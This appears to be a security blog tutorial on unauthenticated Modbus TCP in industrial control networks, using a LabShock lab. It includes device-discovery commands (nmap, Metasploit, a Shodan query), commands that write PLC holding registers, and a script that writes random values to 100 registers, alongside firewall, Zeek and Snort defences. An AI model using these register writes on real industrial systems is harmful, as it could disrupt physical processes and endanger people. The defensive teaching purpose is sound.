Listen to this Post
Introduction:
Industrial control systems (ICS) and operational technology (OT) environments often rely on legacy protocols like Modbus, which was designed for simplicity and reliability—not security. Modbus TCP/IP lacks authentication, encryption, or integrity checks, meaning any attacker with network access can read sensor values, modify setpoints, or even shut down machinery without leaving obvious traces on operator screens. This article explores how to use `modbus-cli` in a lab environment (LabShock) to demonstrate these risks and provides actionable hardening steps for defenders.
Learning Objectives:
- Understand why Modbus exposure in OT networks enables unauthenticated read/write access to PLC data.
- Learn to use `modbus-cli` on Linux to enumerate and manipulate Modbus registers in a safe lab environment.
- Implement network segmentation, firewall rules, and Modbus-specific monitoring to mitigate real-world attacks.
You Should Know:
- The Invisible Threat: Modbus TCP/IP with No Authentication
Modbus is one of the most common protocols in OT, used by PLCs, RTUs, and HMIs. It operates on TCP port 502 by default. Because it was developed in the late 1970s, security was never a design requirement. Today, many organizations inadvertently expose Modbus to corporate networks or even the internet. Attackers can:
- Read coil states (discrete outputs) and input registers (analog sensor values).
- Write to holding registers, changing operational parameters.
- Issue remote commands that alter physical processes (e.g., opening a valve, speeding up a motor).
From the operator’s perspective, the HMI might still display normal values if the attack only manipulates the PLC’s memory without triggering alarms. This “stealth manipulation” is a hallmark of advanced ICS attacks like Industroyer or TRITON.
Step‑by‑step guide to test exposure using `modbus-cli` (Linux):
First, install `modbus-cli` (a Python-based tool) in an isolated lab environment like LabShock:
Install dependencies sudo apt update sudo apt install python3-pip git git clone https://github.com/aws-samples/modbus-cli.git cd modbus-cli pip3 install -r requirements.txt
Alternatively, use the standalone `mbpoll` or `modbus-cli` from PyPI:
pip3 install modbus-cli
Now, assume a target PLC at IP 192.168.1.100. Read holding registers starting at address 0 (quantity 10):
modbus-cli read --host 192.168.1.100 --port 502 --unit-id 1 --type holding --address 0 --quantity 10
Write a value (e.g., set register 0 to 1234):
modbus-cli write --host 192.168.1.100 --port 502 --unit-id 1 --type holding --address 0 --value 1234
For Windows environments, use Python with pyModbus:
Install Python and pyModbus pip install pymodbus Create a script read_modbus.py
Example Python script for reading holding registers:
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('192.168.1.100', port=502)
client.connect()
result = client.read_holding_registers(0, 10, unit=1)
print(result.registers)
client.close()
These commands reveal that no password, token, or certificate is required—any network-adjacent adversary gains full read/write capability.
2. Enumerating Modbus Devices and Mapping Attack Surface
Before exploiting, an attacker would discover live Modbus hosts. Use `nmap` with the `modbus-discover` script:
nmap -p 502 --script modbus-discover 192.168.1.0/24
Or scan with `msfconsole` (Metasploit):
use auxiliary/scanner/scada/modbusclient set RHOSTS 192.168.1.0/24 run
Once a target is found, an attacker might read the entire register space to understand the process. For instance, reading input registers (analog inputs):
modbus-cli read --host 192.168.1.100 --type input --address 0 --quantity 20
If the attacker sees pressure readings (e.g., register 5 = 850), they might try to overwrite a corresponding holding register used for a setpoint:
modbus-cli write --host 192.168.1.100 --type holding --address 5 --value 0
This could cause a pump to stop or a valve to close, depending on the PLC logic. In a lab setting like LabShock, these changes are immediately visible on the simulated operator screen—or sometimes not, because the HMI might poll a different cache.
Defensive countermeasure:
Use Modbus firewalls or gateway appliances that enforce read-only policies or whitelist specific function codes. On Linux, restrict access with iptables:
Allow only specific trusted IP (e.g., HMI server 192.168.1.50) to port 502 iptables -A INPUT -p tcp --dport 502 -s 192.168.1.50 -j ACCEPT iptables -A INPUT -p tcp --dport 502 -j DROP
On Windows, use `netsh advfirewall`:
netsh advfirewall firewall add rule name="Block Modbus" dir=in protocol=tcp localport=502 action=block remoteip=any
3. Wireless and Remote Exposure: The Hidden Danger
Many OT environments are air-gapped in theory, but in practice, maintenance laptops, remote access points, or poorly segmented Wi-Fi introduce risk. Shodan.io regularly finds thousands of Modbus devices directly on the internet. A quick search query:
port:502 modbus
Reveals water utilities, energy grids, and manufacturing plants.
To safely test your own exposure (with permission), use `nmap` to check if Modbus is reachable from different network segments:
nmap -p 502 --open --script modbus-info <target-IP>
If the script returns device identification (e.g., “Schneider Electric”, “Siemens”), you have a critical vulnerability.
Mitigation:
- Place all OT devices behind a firewall with strict inbound rules.
- Use VLANs to isolate OT from IT and DMZ.
- For remote maintenance, require VPN plus application-layer gateway (e.g., TOSIBOX, Moxa).
- Monitor Modbus traffic for anomalies using Zeek (formerly Bro) with the Modbus analyzer.
Install Zeek on Linux:
sudo apt install zeek zeek -C -r traffic.pcap modbus
Look for writes to holding registers (function_code = 6 or 16) from unexpected source IPs.
- Writing a Simple Modbus Fuzzer or Security Scanner
Advanced testing involves fuzzing to discover crashes or unintended behavior. Below is a Python script using `pymodbus` to brute‑force write values to a range of holding registers:
import random
from pymodbus.client import ModbusTcpClient
target_ip = "192.168.1.100"
client = ModbusTcpClient(target_ip)
client.connect()
for reg in range(0, 100):
Random 16-bit value
value = random.randint(0, 65535)
result = client.write_register(reg, value, unit=1)
print(f"Wrote {value} to register {reg} - Success: {not result.isError()}")
client.close()
Why this matters:
An attacker could slowly drift process values outside safe limits, causing physical damage. Defenders should implement write‑alerting and limit write access only to specific register ranges and source IPs.
5. Hardening Modbus: From Zero Trust to Encryption
Since Modbus cannot be easily modified, the solution is defense in depth:
- Network segmentation: Use managed switches with ACLs to allow only specific MAC addresses and IPs.
- Modbus/TCP to Modbus/RTU conversion: Many gateways convert TCP to serial, reducing exposure.
- Tunnelling: Wrap Modbus in TLS or SSH. Example using `socat` on Linux to create an encrypted tunnel:
On the remote side (PLC network) socat OPENSSL-LISTEN:802,cert=server.pem,verify=0,fork TCP:192.168.1.100:502 On the client side socat TCP-LISTEN:502,fork OPENSSL:remote-server:802,verify=0
- Moxa’s Modbus Security Gateway or similar devices that enforce function code filtering.
- Active monitoring: Deploy an IDS like Snort with custom rules:
alert tcp $EXTERNAL_NET any -> $HOME_NET 502 (msg:"Modbus write attempt"; content:"|06|"; depth:1; sid:1000001;)
For Windows administrators, use PowerShell to log all connections to port 502 via built-in firewall logging:
New-NetFirewallRule -DisplayName "Log Modbus" -Direction Inbound -LocalPort 502 -Protocol TCP -Action Allow -Logging Enabled
Get-NetFirewallPortFilter | Where-Object {$_.LocalPort -eq 502} | Get-NetFirewallRule
6. Testing in LabShock: A Realistic OT Simulation
LabShock provides a virtualized OT environment with simulated PLCs, HMIs, and network traffic. Using `modbus-cli` inside LabShock allows security professionals to practice attack/defense without physical risk. After setting up LabShock (as per their documentation), launch a Kali Linux VM in the same network segment.
Step‑by‑step lab exercise:
- In LabShock, start a Modbus server simulation (e.g., a simulated water tank PLC).
2. From your attack VM, run host discovery:
nmap -sn 192.168.100.0/24
3. Identify Modbus host and read initial values:
modbus-cli read --host 192.168.100.10 --type holding --address 0 --quantity 5
4. Change the tank level (register 2) from 50 to 99:
modbus-cli write --host 192.168.100.10 --type holding --address 2 --value 99
5. Observe the HMI change. Now implement firewall rules on the simulated OT switch and retest – writes should fail.
This hands‑on approach proves that “visibility first” is not just a slogan; without active blocking, exposure equals compromise.
What Undercode Say:
- Visibility without response is not security. Knowing that Modbus is exposed is only half the battle; you must implement network controls and continuous monitoring to block unauthorized writes.
- Legacy protocols demand modern wrappers. Since Modbus cannot be patched, you must encrypt, authenticate, and filter at the network edge using VPNs, gateways, or firewalls.
- Lab environments like LabShock are essential. Theoretical knowledge of ICS attacks is useless without practice. Use
modbus-cli, Zeek, and packet analysis to train blue teams on realistic scenarios.
Prediction:
As OT networks converge with IT and cloud, exposed Modbus devices will become a primary entry point for ransomware and sabotage attacks. In the next 18 months, we will see at least one major incident involving direct manipulation of Modbus holding registers to cause physical damage, similar to the 2017 TRITON attack but on a wider scale. Regulators will begin mandating Modbus-specific security controls, including deep packet inspection and anomaly detection, changing the compliance landscape for critical infrastructure operators. Organizations that fail to inventory and isolate their Modbus traffic will face both operational disasters and regulatory fines.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Alhasawi My – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
